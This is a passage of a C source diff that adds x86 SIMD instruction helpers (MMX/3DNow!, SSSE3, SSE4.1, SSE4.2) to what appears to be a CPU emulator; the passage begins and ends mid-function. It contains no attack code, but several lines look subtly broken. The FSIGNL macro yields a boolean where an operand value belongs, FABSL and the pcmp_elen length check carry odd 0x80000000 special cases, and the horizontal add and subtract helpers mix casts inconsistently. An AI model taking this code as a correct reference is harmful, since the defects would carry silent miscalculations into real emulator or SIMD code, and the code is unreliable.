satsw(float32_to_int32_round_to_zero(s->MMX_S(0), + &env->mmx_status)); + d->MMX_L(1) = satsw(float32_to_int32_round_to_zero(s->MMX_S(1), + &env->mmx_status)); +} + +void helper_pfacc(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + MMXReg r; + + r.MMX_S(0) = float32_add(d->MMX_S(0), d->MMX_S(1), &env->mmx_status); + r.MMX_S(1) = float32_add(s->MMX_S(0), s->MMX_S(1), &env->mmx_status); + *d = r; +} + +void helper_pfadd(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_S(0) = float32_add(d->MMX_S(0), s->MMX_S(0), &env->mmx_status); + d->MMX_S(1) = float32_add(d->MMX_S(1), s->MMX_S(1), &env->mmx_status); +} + +void helper_pfcmpeq(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_L(0) = float32_eq_quiet(d->MMX_S(0), s->MMX_S(0), + &env->mmx_status) ? -1 : 0; + d->MMX_L(1) = float32_eq_quiet(d->MMX_S(1), s->MMX_S(1), + &env->mmx_status) ? -1 : 0; +} + +void helper_pfcmpge(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_L(0) = float32_le(s->MMX_S(0), d->MMX_S(0), + &env->mmx_status) ? -1 : 0; + d->MMX_L(1) = float32_le(s->MMX_S(1), d->MMX_S(1), + &env->mmx_status) ? -1 : 0; +} + +void helper_pfcmpgt(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_L(0) = float32_lt(s->MMX_S(0), d->MMX_S(0), + &env->mmx_status) ? -1 : 0; + d->MMX_L(1) = float32_lt(s->MMX_S(1), d->MMX_S(1), + &env->mmx_status) ? -1 : 0; +} + +void helper_pfmax(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + if (float32_lt(d->MMX_S(0), s->MMX_S(0), &env->mmx_status)) { + d->MMX_S(0) = s->MMX_S(0); + } + if (float32_lt(d->MMX_S(1), s->MMX_S(1), &env->mmx_status)) { + d->MMX_S(1) = s->MMX_S(1); + } +} + +void helper_pfmin(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + if (float32_lt(s->MMX_S(0), d->MMX_S(0), &env->mmx_status)) { + d->MMX_S(0) = s->MMX_S(0); + } + if (float32_lt(s->MMX_S(1), d->MMX_S(1), &env->mmx_status)) { + d->MMX_S(1) = s->MMX_S(1); + } +} + +void helper_pfmul(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_S(0) = float32_mul(d->MMX_S(0), s->MMX_S(0), &env->mmx_status); + d->MMX_S(1) = float32_mul(d->MMX_S(1), s->MMX_S(1), &env->mmx_status); +} + +void helper_pfnacc(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + MMXReg r; + + r.MMX_S(0) = float32_sub(d->MMX_S(0), d->MMX_S(1), &env->mmx_status); + r.MMX_S(1) = float32_sub(s->MMX_S(0), s->MMX_S(1), &env->mmx_status); + *d = r; +} + +void helper_pfpnacc(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + MMXReg r; + + r.MMX_S(0) = float32_sub(d->MMX_S(0), d->MMX_S(1), &env->mmx_status); + r.MMX_S(1) = float32_add(s->MMX_S(0), s->MMX_S(1), &env->mmx_status); + *d = r; +} + +void helper_pfrcp(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_S(0) = float32_div(float32_one, s->MMX_S(0), &env->mmx_status); + d->MMX_S(1) = d->MMX_S(0); +} + +void helper_pfrsqrt(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_L(1) = s->MMX_L(0) & 0x7fffffff; + d->MMX_S(1) = float32_div(float32_one, + float32_sqrt(d->MMX_S(1), &env->mmx_status), + &env->mmx_status); + d->MMX_L(1) |= s->MMX_L(0) & 0x80000000; + d->MMX_L(0) = d->MMX_L(1); +} + +void helper_pfsub(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_S(0) = float32_sub(d->MMX_S(0), s->MMX_S(0), &env->mmx_status); + d->MMX_S(1) = float32_sub(d->MMX_S(1), s->MMX_S(1), &env->mmx_status); +} + +void helper_pfsubr(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_S(0) = float32_sub(s->MMX_S(0), d->MMX_S(0), &env->mmx_status); + d->MMX_S(1) = float32_sub(s->MMX_S(1), d->MMX_S(1), &env->mmx_status); +} + +void helper_pswapd(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + MMXReg r; + + r.MMX_L(0) = s->MMX_L(1); + r.MMX_L(1) = s->MMX_L(0); + *d = r; +} +#endif + +/* SSSE3 op helpers */ +void glue(helper_pshufb, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int i; + Reg r; + + for (i = 0; i < (8 << SHIFT); i++) { + r.B(i) = (s->B(i) & 0x80) ? 0 : (d->B(s->B(i) & ((8 << SHIFT) - 1))); + } + + *d = r; +} + +void glue(helper_phaddw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->W(0) = (int16_t)d->W(0) + (int16_t)d->W(1); + d->W(1) = (int16_t)d->W(2) + (int16_t)d->W(3); + XMM_ONLY(d->W(2) = (int16_t)d->W(4) + (int16_t)d->W(5)); + XMM_ONLY(d->W(3) = (int16_t)d->W(6) + (int16_t)d->W(7)); + d->W((2 << SHIFT) + 0) = (int16_t)s->W(0) + (int16_t)s->W(1); + d->W((2 << SHIFT) + 1) = (int16_t)s->W(2) + (int16_t)s->W(3); + XMM_ONLY(d->W(6) = (int16_t)s->W(4) + (int16_t)s->W(5)); + XMM_ONLY(d->W(7) = (int16_t)s->W(6) + (int16_t)s->W(7)); +} + +void glue(helper_phaddd, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->L(0) = (int64_t)d->L(0) + (int32_t)d->L(1); + XMM_ONLY(d->L(1) = (int32_t)d->L(2) + (int32_t)d->L(3)); + d->L((1 << SHIFT) + 0) = (uint32_t)((int32_t)s->L(0) + (uint32_t)s->L(1)); + XMM_ONLY(d->L(3) = (int32_t)s->L(2) + (int32_t)s->L(3)); +} + +void glue(helper_phaddsw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->W(0) = satsw((int16_t)d->W(0) + (int16_t)d->W(1)); + d->W(1) = satsw((int16_t)d->W(2) + (int16_t)d->W(3)); + XMM_ONLY(d->W(2) = satsw((int16_t)d->W(4) + (int16_t)d->W(5))); + XMM_ONLY(d->W(3) = satsw((int16_t)d->W(6) + (int16_t)d->W(7))); + d->W((2 << SHIFT) + 0) = satsw((int16_t)s->W(0) + (int16_t)s->W(1)); + d->W((2 << SHIFT) + 1) = satsw((int16_t)s->W(2) + (int16_t)s->W(3)); + XMM_ONLY(d->W(6) = satsw((int16_t)s->W(4) + (int16_t)s->W(5))); + XMM_ONLY(d->W(7) = satsw((int16_t)s->W(6) + (int16_t)s->W(7))); +} + +void glue(helper_pmaddubsw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->W(0) = satsw((int8_t)s->B(0) * (uint8_t)d->B(0) + + (int8_t)s->B(1) * (uint8_t)d->B(1)); + d->W(1) = satsw((int8_t)s->B(2) * (uint8_t)d->B(2) + + (int8_t)s->B(3) * (uint8_t)d->B(3)); + d->W(2) = satsw((int8_t)s->B(4) * (uint8_t)d->B(4) + + (int8_t)s->B(5) * (uint8_t)d->B(5)); + d->W(3) = satsw((int8_t)s->B(6) * (uint8_t)d->B(6) + + (int8_t)s->B(7) * (uint8_t)d->B(7)); +#if SHIFT == 1 + d->W(4) = satsw((int8_t)s->B(8) * (uint8_t)d->B(8) + + (int8_t)s->B(9) * (uint8_t)d->B(9)); + d->W(5) = satsw((int8_t)s->B(10) * (uint8_t)d->B(10) + + (int8_t)s->B(11) * (uint8_t)d->B(11)); + d->W(6) = satsw((int8_t)s->B(12) * (uint8_t)d->B(12) + + (int8_t)s->B(13) * (uint8_t)d->B(13)); + d->W(7) = satsw((int8_t)s->B(14) * (uint8_t)d->B(14) + + (int8_t)s->B(15) * (uint8_t)d->B(15)); +#endif +} + +void glue(helper_phsubw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->W(0) = (int16_t)d->W(0) - (int16_t)d->W(1); + d->W(1) = (int16_t)d->W(2) - (int16_t)d->W(3); + XMM_ONLY(d->W(2) = (int16_t)d->W(4) - (int16_t)d->W(5)); + XMM_ONLY(d->W(3) = (int16_t)d->W(6) - (int16_t)d->W(7)); + d->W((2 << SHIFT) + 0) = (int16_t)s->W(0) - (int16_t)s->W(1); + d->W((2 << SHIFT) + 1) = (int16_t)s->W(2) - (int16_t)s->W(3); + XMM_ONLY(d->W(6) = (int16_t)s->W(4) - (int16_t)s->W(5)); + XMM_ONLY(d->W(7) = (int16_t)s->W(6) - (int16_t)s->W(7)); +} + +void glue(helper_phsubd, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->L(0) = (int32_t)((int64_t)d->L(0) - (int64_t)d->L(1)); + XMM_ONLY(d->L(1) = (int32_t)((int64_t)d->L(2) - (int64_t)d->L(3))); + d->L((1 << SHIFT) + 0) = (uint32_t)((int64_t)s->L(0) - (int64_t)s->L(1)); + XMM_ONLY(d->L(3) = (int32_t)s->L(2) - (int32_t)s->L(3)); +} + +void glue(helper_phsubsw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->W(0) = satsw((int16_t)d->W(0) - (int16_t)d->W(1)); + d->W(1) = satsw((int16_t)d->W(2) - (int16_t)d->W(3)); + XMM_ONLY(d->W(2) = satsw((int16_t)d->W(4) - (int16_t)d->W(5))); + XMM_ONLY(d->W(3) = satsw((int16_t)d->W(6) - (int16_t)d->W(7))); + d->W((2 << SHIFT) + 0) = satsw((int16_t)s->W(0) - (int16_t)s->W(1)); + d->W((2 << SHIFT) + 1) = satsw((int16_t)s->W(2) - (int16_t)s->W(3)); + XMM_ONLY(d->W(6) = satsw((int16_t)s->W(4) - (int16_t)s->W(5))); + XMM_ONLY(d->W(7) = satsw((int16_t)s->W(6) - (int16_t)s->W(7))); +} + +#define FABSB(_, x) (x > INT8_MAX ? -(int8_t)x : x) +#define FABSW(_, x) (x > INT16_MAX ? -(int16_t)x : x) +#define FABSL(_, x) ((x > INT32_MAX && x != 0x80000000) ? -(int32_t)x : x) +SSE_HELPER_B(helper_pabsb, FABSB) +SSE_HELPER_W(helper_pabsw, FABSW) +SSE_HELPER_L(helper_pabsd, FABSL) + +#define FMULHRSW(d, s) (((int16_t) d * (int16_t)s + 0x4000) >> 15) +SSE_HELPER_W(helper_pmulhrsw, FMULHRSW) + +#define FSIGNB(d, s) (s <= INT8_MAX ? s ? d : 0 : -(int8_t)d) +#define FSIGNW(d, s) (s <= INT16_MAX ? s ? d : 0 : -(int16_t)d) +#define FSIGNL(d, s) (s <= INT32_MAX ? s ? d && d != 0x80000000 : 0 : -(int32_t)d) +SSE_HELPER_B(helper_psignb, FSIGNB) +SSE_HELPER_W(helper_psignw, FSIGNW) +SSE_HELPER_L(helper_psignd, FSIGNL) + +void glue(helper_palignr, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + int32_t shift) +{ + Reg r; + + /* XXX could be checked during translation */ + if (shift >= (16 << SHIFT)) { + r.Q(0) = 0; + XMM_ONLY(r.Q(1) = 0); + } else { + shift <<= 3; +#define SHR(v, i) (i < 64 && i > -64 ? i > 0 ? v >> (i) : (v << -(i)) : 0) +#if SHIFT == 0 + r.Q(0) = SHR(s->Q(0), shift - 0) | + SHR(d->Q(0), shift - 64); +#else + r.Q(0) = SHR(s->Q(0), shift - 0) | + SHR(s->Q(1), shift - 64) | + SHR(d->Q(0), shift - 128) | + SHR(d->Q(1), shift - 192); + r.Q(1) = SHR(s->Q(0), shift + 64) | + SHR(s->Q(1), shift - 0) | + SHR(d->Q(0), shift - 64) | + SHR(d->Q(1), shift - 128); +#endif +#undef SHR + } + + *d = r; +} + +#define XMM0 (env->xmm_regs[0]) + +#if SHIFT == 1 +#define SSE_HELPER_V(name, elem, num, F) \ + void glue(name, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->elem(0) = F(d->elem(0), s->elem(0), XMM0.elem(0)); \ + d->elem(1) = F(d->elem(1), s->elem(1), XMM0.elem(1)); \ + if (num > 2) { \ + d->elem(2) = F(d->elem(2), s->elem(2), XMM0.elem(2)); \ + d->elem(3) = F(d->elem(3), s->elem(3), XMM0.elem(3)); \ + if (num > 4) { \ + d->elem(4) = F(d->elem(4), s->elem(4), XMM0.elem(4)); \ + d->elem(5) = F(d->elem(5), s->elem(5), XMM0.elem(5)); \ + d->elem(6) = F(d->elem(6), s->elem(6), XMM0.elem(6)); \ + d->elem(7) = F(d->elem(7), s->elem(7), XMM0.elem(7)); \ + if (num > 8) { \ + d->elem(8) = F(d->elem(8), s->elem(8), XMM0.elem(8)); \ + d->elem(9) = F(d->elem(9), s->elem(9), XMM0.elem(9)); \ + d->elem(10) = F(d->elem(10), s->elem(10), XMM0.elem(10)); \ + d->elem(11) = F(d->elem(11), s->elem(11), XMM0.elem(11)); \ + d->elem(12) = F(d->elem(12), s->elem(12), XMM0.elem(12)); \ + d->elem(13) = F(d->elem(13), s->elem(13), XMM0.elem(13)); \ + d->elem(14) = F(d->elem(14), s->elem(14), XMM0.elem(14)); \ + d->elem(15) = F(d->elem(15), s->elem(15), XMM0.elem(15)); \ + } \ + } \ + } \ + } + +#define SSE_HELPER_I(name, elem, num, F) \ + void glue(name, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, uint32_t imm) \ + { \ + d->elem(0) = F(d->elem(0), s->elem(0), ((imm >> 0) & 1)); \ + d->elem(1) = F(d->elem(1), s->elem(1), ((imm >> 1) & 1)); \ + if (num > 2) { \ + d->elem(2) = F(d->elem(2), s->elem(2), ((imm >> 2) & 1)); \ + d->elem(3) = F(d->elem(3), s->elem(3), ((imm >> 3) & 1)); \ + if (num > 4) { \ + d->elem(4) = F(d->elem(4), s->elem(4), ((imm >> 4) & 1)); \ + d->elem(5) = F(d->elem(5), s->elem(5), ((imm >> 5) & 1)); \ + d->elem(6) = F(d->elem(6), s->elem(6), ((imm >> 6) & 1)); \ + d->elem(7) = F(d->elem(7), s->elem(7), ((imm >> 7) & 1)); \ + if (num > 8) { \ + d->elem(8) = F(d->elem(8), s->elem(8), ((imm >> 8) & 1)); \ + d->elem(9) = F(d->elem(9), s->elem(9), ((imm >> 9) & 1)); \ + d->elem(10) = F(d->elem(10), s->elem(10), \ + ((imm >> 10) & 1)); \ + d->elem(11) = F(d->elem(11), s->elem(11), \ + ((imm >> 11) & 1)); \ + d->elem(12) = F(d->elem(12), s->elem(12), \ + ((imm >> 12) & 1)); \ + d->elem(13) = F(d->elem(13), s->elem(13), \ + ((imm >> 13) & 1)); \ + d->elem(14) = F(d->elem(14), s->elem(14), \ + ((imm >> 14) & 1)); \ + d->elem(15) = F(d->elem(15), s->elem(15), \ + ((imm >> 15) & 1)); \ + } \ + } \ + } \ + } + +/* SSE4.1 op helpers */ +#define FBLENDVB(d, s, m) ((m & 0x80) ? s : d) +#define FBLENDVPS(d, s, m) ((m & 0x80000000) ? s : d) +#define FBLENDVPD(d, s, m) ((m & 0x8000000000000000LL) ? s : d) +SSE_HELPER_V(helper_pblendvb, B, 16, FBLENDVB) +SSE_HELPER_V(helper_blendvps, L, 4, FBLENDVPS) +SSE_HELPER_V(helper_blendvpd, Q, 2, FBLENDVPD) + +void glue(helper_ptest, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + uint64_t zf = (s->Q(0) & d->Q(0)) | (s->Q(1) & d->Q(1)); + uint64_t cf = (s->Q(0) & ~d->Q(0)) | (s->Q(1) & ~d->Q(1)); + + CC_SRC = (zf ? 0 : CC_Z) | (cf ? 0 : CC_C); +} + +#define SSE_HELPER_F(name, elem, num, F) \ + void glue(name, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->elem(0) = F(0); \ + d->elem(1) = F(1); \ + if (num > 2) { \ + d->elem(2) = F(2); \ + d->elem(3) = F(3); \ + if (num > 4) { \ + d->elem(4) = F(4); \ + d->elem(5) = F(5); \ + d->elem(6) = F(6); \ + d->elem(7) = F(7); \ + } \ + } \ + } + +SSE_HELPER_F(helper_pmovsxbw, W, 8, (int8_t) s->B) +SSE_HELPER_F(helper_pmovsxbd, L, 4, (int8_t) s->B) +SSE_HELPER_F(helper_pmovsxbq, Q, 2, (int8_t) s->B) +SSE_HELPER_F(helper_pmovsxwd, L, 4, (int16_t) s->W) +SSE_HELPER_F(helper_pmovsxwq, Q, 2, (int16_t) s->W) +SSE_HELPER_F(helper_pmovsxdq, Q, 2, (int32_t) s->L) +SSE_HELPER_F(helper_pmovzxbw, W, 8, s->B) +SSE_HELPER_F(helper_pmovzxbd, L, 4, s->B) +SSE_HELPER_F(helper_pmovzxbq, Q, 2, s->B) +SSE_HELPER_F(helper_pmovzxwd, L, 4, s->W) +SSE_HELPER_F(helper_pmovzxwq, Q, 2, s->W) +SSE_HELPER_F(helper_pmovzxdq, Q, 2, s->L) + +void glue(helper_pmuldq, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->Q(0) = (int64_t)(int32_t) d->L(0) * (int32_t) s->L(0); + d->Q(1) = (int64_t)(int32_t) d->L(2) * (int32_t) s->L(2); +} + +#define FCMPEQQ(d, s) (d == s ? -1 : 0) +SSE_HELPER_Q(helper_pcmpeqq, FCMPEQQ) + +void glue(helper_packusdw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->W(0) = satuw((int32_t) d->L(0)); + d->W(1) = satuw((int32_t) d->L(1)); + d->W(2) = satuw((int32_t) d->L(2)); + d->W(3) = satuw((int32_t) d->L(3)); + d->W(4) = satuw((int32_t) s->L(0)); + d->W(5) = satuw((int32_t) s->L(1)); + d->W(6) = satuw((int32_t) s->L(2)); + d->W(7) = satuw((int32_t) s->L(3)); +} + +#define FMINSB(d, s) MIN((int8_t)d, (int8_t)s) +#define FMINSD(d, s) MIN((int32_t)d, (int32_t)s) +#define FMAXSB(d, s) MAX((int8_t)d, (int8_t)s) +#define FMAXSD(d, s) MAX((int32_t)d, (int32_t)s) +SSE_HELPER_B(helper_pminsb, FMINSB) +SSE_HELPER_L(helper_pminsd, FMINSD) +SSE_HELPER_W(helper_pminuw, MIN) +SSE_HELPER_L(helper_pminud, MIN) +SSE_HELPER_B(helper_pmaxsb, FMAXSB) +SSE_HELPER_L(helper_pmaxsd, FMAXSD) +SSE_HELPER_W(helper_pmaxuw, MAX) +SSE_HELPER_L(helper_pmaxud, MAX) + +#define FMULLD(d, s) ((int64_t)d * (int32_t)s) +SSE_HELPER_L(helper_pmulld, FMULLD) + +void glue(helper_phminposuw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int idx = 0; + + if (s->W(1) < s->W(idx)) { + idx = 1; + } + if (s->W(2) < s->W(idx)) { + idx = 2; + } + if (s->W(3) < s->W(idx)) { + idx = 3; + } + if (s->W(4) < s->W(idx)) { + idx = 4; + } + if (s->W(5) < s->W(idx)) { + idx = 5; + } + if (s->W(6) < s->W(idx)) { + idx = 6; + } + if (s->W(7) < s->W(idx)) { + idx = 7; + } + + d->Q(1) = 0; + d->L(1) = 0; + d->W(1) = idx; + d->W(0) = s->W(idx); +} + +void glue(helper_roundps, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t mode) +{ + signed char prev_rounding_mode; + + prev_rounding_mode = env->sse_status.float_rounding_mode; + if (!(mode & (1 << 2))) { + switch (mode & 3) { + case 0: + set_float_rounding_mode(float_round_nearest_even, &env->sse_status); + break; + case 1: + set_float_rounding_mode(float_round_down, &env->sse_status); + break; + case 2: + set_float_rounding_mode(float_round_up, &env->sse_status); + break; + case 3: + set_float_rounding_mode(float_round_to_zero, &env->sse_status); + break; + } + } + + d->XMM_S(0) = float32_round_to_int(s->XMM_S(0), &env->sse_status); + d->XMM_S(1) = float32_round_to_int(s->XMM_S(1), &env->sse_status); + d->XMM_S(2) = float32_round_to_int(s->XMM_S(2), &env->sse_status); + d->XMM_S(3) = float32_round_to_int(s->XMM_S(3), &env->sse_status); + +#if 0 /* TODO */ + if (mode & (1 << 3)) { + set_float_exception_flags(get_float_exception_flags(&env->sse_status) & + ~float_flag_inexact, + &env->sse_status); + } +#endif + env->sse_status.float_rounding_mode = prev_rounding_mode; +} + +void glue(helper_roundpd, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t mode) +{ + signed char prev_rounding_mode; + + prev_rounding_mode = env->sse_status.float_rounding_mode; + if (!(mode & (1 << 2))) { + switch (mode & 3) { + case 0: + set_float_rounding_mode(float_round_nearest_even, &env->sse_status); + break; + case 1: + set_float_rounding_mode(float_round_down, &env->sse_status); + break; + case 2: + set_float_rounding_mode(float_round_up, &env->sse_status); + break; + case 3: + set_float_rounding_mode(float_round_to_zero, &env->sse_status); + break; + } + } + + d->XMM_D(0) = float64_round_to_int(s->XMM_D(0), &env->sse_status); + d->XMM_D(1) = float64_round_to_int(s->XMM_D(1), &env->sse_status); + +#if 0 /* TODO */ + if (mode & (1 << 3)) { + set_float_exception_flags(get_float_exception_flags(&env->sse_status) & + ~float_flag_inexact, + &env->sse_status); + } +#endif + env->sse_status.float_rounding_mode = prev_rounding_mode; +} + +void glue(helper_roundss, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t mode) +{ + signed char prev_rounding_mode; + + prev_rounding_mode = env->sse_status.float_rounding_mode; + if (!(mode & (1 << 2))) { + switch (mode & 3) { + case 0: + set_float_rounding_mode(float_round_nearest_even, &env->sse_status); + break; + case 1: + set_float_rounding_mode(float_round_down, &env->sse_status); + break; + case 2: + set_float_rounding_mode(float_round_up, &env->sse_status); + break; + case 3: + set_float_rounding_mode(float_round_to_zero, &env->sse_status); + break; + } + } + + d->XMM_S(0) = float32_round_to_int(s->XMM_S(0), &env->sse_status); + +#if 0 /* TODO */ + if (mode & (1 << 3)) { + set_float_exception_flags(get_float_exception_flags(&env->sse_status) & + ~float_flag_inexact, + &env->sse_status); + } +#endif + env->sse_status.float_rounding_mode = prev_rounding_mode; +} + +void glue(helper_roundsd, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t mode) +{ + signed char prev_rounding_mode; + + prev_rounding_mode = env->sse_status.float_rounding_mode; + if (!(mode & (1 << 2))) { + switch (mode & 3) { + case 0: + set_float_rounding_mode(float_round_nearest_even, &env->sse_status); + break; + case 1: + set_float_rounding_mode(float_round_down, &env->sse_status); + break; + case 2: + set_float_rounding_mode(float_round_up, &env->sse_status); + break; + case 3: + set_float_rounding_mode(float_round_to_zero, &env->sse_status); + break; + } + } + + d->XMM_D(0) = float64_round_to_int(s->XMM_D(0), &env->sse_status); + +#if 0 /* TODO */ + if (mode & (1 << 3)) { + set_float_exception_flags(get_float_exception_flags(&env->sse_status) & + ~float_flag_inexact, + &env->sse_status); + } +#endif + env->sse_status.float_rounding_mode = prev_rounding_mode; +} + +#define FBLENDP(d, s, m) (m ? s : d) +SSE_HELPER_I(helper_blendps, L, 4, FBLENDP) +SSE_HELPER_I(helper_blendpd, Q, 2, FBLENDP) +SSE_HELPER_I(helper_pblendw, W, 8, FBLENDP) + +void glue(helper_dpps, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, uint32_t mask) +{ + float32 iresult = float32_zero; + + if (mask & (1 << 4)) { + iresult = float32_add(iresult, + float32_mul(d->XMM_S(0), s->XMM_S(0), + &env->sse_status), + &env->sse_status); + } + if (mask & (1 << 5)) { + iresult = float32_add(iresult, + float32_mul(d->XMM_S(1), s->XMM_S(1), + &env->sse_status), + &env->sse_status); + } + if (mask & (1 << 6)) { + iresult = float32_add(iresult, + float32_mul(d->XMM_S(2), s->XMM_S(2), + &env->sse_status), + &env->sse_status); + } + if (mask & (1 << 7)) { + iresult = float32_add(iresult, + float32_mul(d->XMM_S(3), s->XMM_S(3), + &env->sse_status), + &env->sse_status); + } + d->XMM_S(0) = (mask & (1 << 0)) ? iresult : float32_zero; + d->XMM_S(1) = (mask & (1 << 1)) ? iresult : float32_zero; + d->XMM_S(2) = (mask & (1 << 2)) ? iresult : float32_zero; + d->XMM_S(3) = (mask & (1 << 3)) ? iresult : float32_zero; +} + +void glue(helper_dppd, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, uint32_t mask) +{ + float64 iresult = float64_zero; + + if (mask & (1 << 4)) { + iresult = float64_add(iresult, + float64_mul(d->XMM_D(0), s->XMM_D(0), + &env->sse_status), + &env->sse_status); + } + if (mask & (1 << 5)) { + iresult = float64_add(iresult, + float64_mul(d->XMM_D(1), s->XMM_D(1), + &env->sse_status), + &env->sse_status); + } + d->XMM_D(0) = (mask & (1 << 0)) ? iresult : float64_zero; + d->XMM_D(1) = (mask & (1 << 1)) ? iresult : float64_zero; +} + +void glue(helper_mpsadbw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t offset) +{ + int s0 = (offset & 3) << 2; + int d0 = (offset & 4) << 0; + int i; + Reg r; + + for (i = 0; i < 8; i++, d0++) { + r.W(i) = 0; + r.W(i) += abs1(d->B(d0 + 0) - s->B(s0 + 0)); + r.W(i) += abs1(d->B(d0 + 1) - s->B(s0 + 1)); + r.W(i) += abs1(d->B(d0 + 2) - s->B(s0 + 2)); + r.W(i) += abs1(d->B(d0 + 3) - s->B(s0 + 3)); + } + + *d = r; +} + +/* SSE4.2 op helpers */ +#define FCMPGTQ(d, s) ((int64_t)d > (int64_t)s ? -1 : 0) +SSE_HELPER_Q(helper_pcmpgtq, FCMPGTQ) + +static inline int pcmp_elen(CPUX86State *env, int reg, uint32_t ctrl) +{ + unsigned int val; + + /* Presence of REX.W is indicated by a bit higher than 7 set */ + if (ctrl >> 8) { + val = abs1((int)env->regs[reg]); + } else { + val = abs1((int32_t)env->regs[reg]); + } + + if (ctrl & 1) { + if (val > 8) { + return 8; + } + } else { + if (val > 16) { + return 16; + } + } + if (val == 0x80000000) { + val = 0; + } + return val; +} + +static inline int pcmp_ilen(Reg *r, uint8_t ctrl) +{ + int val = 0; + + if (ctrl & 1) { + while (val < 8 && r->W(val)) { + val++; + } + } else { + while (val < 16 && r->B(val)) { + val++; + } + } + + return val; +} + +static inline int pcmp_val(Reg *r, uint8_t ctrl, int i) +{ + switch ((ctrl >> 0) & 3) { + case 0: + return r->B(i); + case 1: + return r->W(i); + case 2: + return (int8_t)r->B(i); + case 3: + default: + return (int16_t)r->W(i); + } +} + +static inline unsigned pcmpxstrx(CPUX86State *env, Reg *d, Reg *s, + int8_t ctrl, int valids, int validd) +{ + unsigned int res = 0; + int v; + int j, i; + int upper = (ctrl & 1) ? 7 : 15; + + valids--; + validd--; + + CC_SRC = (valids < upper ? CC_Z : 0) | (validd < upper ? CC_S : 0); + + switch ((ctrl >> 2) & 3) { + case 0: + for (j = valids; j >= 0; j--) { + res <<= 1; + v = pcmp_val(s, ctrl, j); + for (i = validd; i >= 0; i--) { + res |= (v == pcmp_val(d, ctrl, i)); + } + } + break; + case 1: + for (j = valids; j >= 0; j--) { + res <<= 1; + v = pcmp_val(s, ctrl, j); + for (i = ((validd - 1) | 1); i >= 0; i -= 2) { + res |= (pcmp_val(d, ctrl, i - 0) >= v && + pcmp_val(d, ctrl, i - 1) <= v); + } + } + break; + case 2: + res = (1 << (upper - MAX(valids, validd))) - 1; + res <<= MAX(valids, validd) - MIN(valids, validd); + for (i = MIN(valids, validd); i >= 0; i--) { + res <<= 1; + v = pcmp_val(s, ctrl, i); + res |= (v == pcmp_val(d, ctrl, i)); + } + break; + case 3: + if (validd == -1) { + res = (2 << upper) - 1; + break; + } + for (j = valids - validd; j >= 0; j--) { + res <<= 1; + v = 1; + for (i = validd; i >= 0; i--) { + v &= (pcmp_val(s, ctrl, i + j) == pcmp_val(d, ctrl, i)); + } + res |= v; + } + break; + } + + switch ((ctrl >> 4) & 3) { + case 1: + res ^= (2 << upper) - 1; + break; + case 3: + res ^= (1 << (valids + 1)) - 1; + break; + } + + if (res) { + CC_SRC |= CC_C; + } + if (res & 1) { + CC_SRC |= CC_O; + } + + return res; +} + +void glue(helper_pcmpestri, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t ctrl) +{ + unsigned int res = pcmpxstrx(env, d, s, ctrl, + pcmp_elen(env, R_EDX, ctrl), + pcmp_elen(env, R_EAX, ctrl)); + + if (res) { + env->regs[R_ECX] = (ctrl & (1 << 6)) ? 31 - clz32(res) : ctz32(res); + } else { + env->regs[R_ECX] = 16 >> (ctrl & (1 << 0)); + } +} + +void glue(helper_pcmpestrm, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t ctrl) +{ + int i; + unsigned int res = pcmpxstrx(env, d, s, ctrl, + pcmp_elen(env, R_EDX, ctrl), + pcmp_elen(env, R_EAX, ctrl)); + + if ((ctrl >> 6) & 1) { + if (ctrl & 1) { + for (i = 0; i < 8; i++, res >>= 1) { + env->xmm_regs[0].W(i) = (res & 1) ? ~0 : 0; + } + } else { + for (i = 0; i < 16; i++, res >>= 1) { + env->xmm_regs[0].B(i) = (res & 1) ? ~0 : 0; + } + } + } else { + env->xmm_regs[0].Q(1) = 0; + env->xmm_regs[0].Q(0) = res; + } +} + +void glue(helper_pcmpistri, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t ctrl) +{ + unsigned int res = pcmpxstrx(env, d, s, ctrl, + pcmp_ilen(s, ctrl), + pcmp_ilen(d, ctrl)); + + if (res) { + env->regs[R_ECX] = (ctrl & (1 << 6)) ? 31 - clz32(res) : ctz32(res); + } else { + env->regs[R_ECX] = 16 >> (ctrl & (1 << 0)); + } +} + +void glue(helper_pcmpistrm, SUFFIX)(CPUX86State 